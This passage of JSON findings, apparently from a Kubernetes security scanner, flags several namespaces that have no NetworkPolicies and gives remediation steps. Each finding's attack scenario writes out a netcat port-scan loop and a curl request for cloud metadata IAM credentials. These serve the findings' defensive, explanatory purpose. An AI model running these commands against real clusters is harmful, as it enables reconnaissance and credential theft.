      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n psa-unlabeled-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:psaflip-fixtures",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `psaflip-fixtures` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `psaflip-fixtures` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "psaflip-fixtures",
      "namespace": "psaflip-fixtures"
    },
    "namespace": "psaflip-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `psaflip-fixtures`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `psaflip-fixtures` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "psaflip-fixtures"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `psaflip-fixtures`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `psaflip-fixtures`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n psaflip-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:pv-hostpath-fixtures",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `pv-hostpath-fixtures` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `pv-hostpath-fixtures` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "pv-hostpath-fixtures",
      "namespace": "pv-hostpath-fixtures"
    },
    "namespace": "pv-hostpath-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `pv-hostpath-fixtures`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `pv-hostpath-fixtures` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "pv-hostpath-fixtures"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `pv-hostpath-fixtures`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `pv-hostpath-fixtures`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n pv-hostpath-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:rbac-fixtures",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `rbac-fixtures` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `rbac-fixtures` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "rbac-fixtures",
      "namespace": "rbac-fixtures"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `rbac-fixtures`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `rbac-fixtures` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "rbac-fixtures"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `rbac-fixtures`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `rbac-fixtures`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n rbac-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:rbac-ns-fixtures",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `rbac-ns-fixtures` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `rbac-ns-fixtures` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "rbac-ns-fixtures",
      "namespace": "rbac-ns-fixtures"
    },
    "namespace": "rbac-ns-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `rbac-ns-fixtures`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `rbac-ns-fixtures` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "rbac-ns-fixtures"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `rbac-ns-fixtures`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `rbac-ns-fixtures`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n rbac-ns-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:secrets-bundle-target",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `secrets-bundle-target` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `secrets-bundle-target` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "secrets-bundle-target",
      "namespace": "secrets-bundle-target"
    },
    "namespace": "secrets-bundle-target",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `secrets-bundle-target`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `secrets-bundle-target` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "secrets-bundle-target"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `secrets-bundle-target`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `secrets-bundle-target`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n secrets-bundle-target --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
